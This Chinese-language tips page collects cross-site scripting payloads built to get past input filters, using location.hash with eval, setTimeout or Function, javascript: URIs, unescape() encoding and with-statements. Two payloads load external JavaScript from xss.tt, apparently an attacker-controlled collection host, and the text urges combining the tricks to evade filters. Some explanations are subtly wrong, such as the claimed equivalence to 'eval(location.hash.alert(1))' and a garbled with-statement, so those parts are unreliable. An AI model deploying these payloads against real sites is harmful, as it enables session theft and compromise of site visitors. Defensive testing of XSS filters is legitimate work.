XSS相关一些个人Tips
字数 911 2025-08-26 22:11:40
XSS高级利用技巧与变形Payload详解
前言
本文整理自XSS相关的高级利用技巧,重点介绍如何通过Location对象、编码解码、with语句等方法构造变形的XSS Payload,绕过常见的过滤机制。
Location对象利用技巧
location.hash属性
location.hash 用于设置或获取URL中的锚部分(#后面的内容)。这一特性可用于将部分payload放在URL锚点中。
基本用法
<body/onload=eval(location.hash.slice(1))>#alert(1)
slice(1)截取下标为1以后的字符串(去除#)- 等效的
substr(1)也可使用
变种示例
<body/onload=setTimeout(location.hash.substr(1))()>#alert(1)
使用setTimeout执行代码,注意需要添加()
使用constructor属性
Set.constructor(location.hash.substr(1))()
通过constructor属性构造并执行代码
使用execScript(仅IE)
<body/onload=execScript(location.hash.substr(1))>#alert(1)
使用Function构造函数
<body/onload=Function(location.hash.slice(1))()>#alert(/xss/)
通过匿名函数执行代码
伪协议利用
<body/onload=eval(location.hash.slice(1))>#javascript:alert(1)
结合注释的变形
<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)
%2b是+号的URL编码- 拼接形成完整的javascript代码
更复杂的变形
<svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>" #"-alert(1)
编码解码技巧
unescape()函数
用于解码已编码的URL,可绕过对//的拦截
<svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2Fxss.tt%2F1te')>
解码后实际加载http://xss.tt/1te
with语句利用
基本用法
当点号(.)被拦截时,可使用with语句替代
<svg/onload=with(location)with(hash)eval(alert(1))>
等效于eval(location.hash.alert(1))
动态创建脚本节点
<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tt/XA'})">
- 使用with语句访问document对象
- 动态创建并插入script标签加载外部JS
关键点总结
- location.hash:将部分payload放在URL锚点中,通过JS提取执行
- 编码解码:使用unescape()绕过特定字符过滤
- with语句:当点号被过滤时的替代方案
- 多种执行方式:
- eval()
- setTimeout()
- Function构造函数
- constructor属性
- execScript(IE专用)
- 伪协议利用:通过javascript:协议变形payload
- 字符串拼接:结合注释和URL编码进行payload变形
- DOM操作:动态创建和插入节点加载外部资源
这些技巧可组合使用,创造出更多变形的XSS Payload,有效绕过各种过滤机制。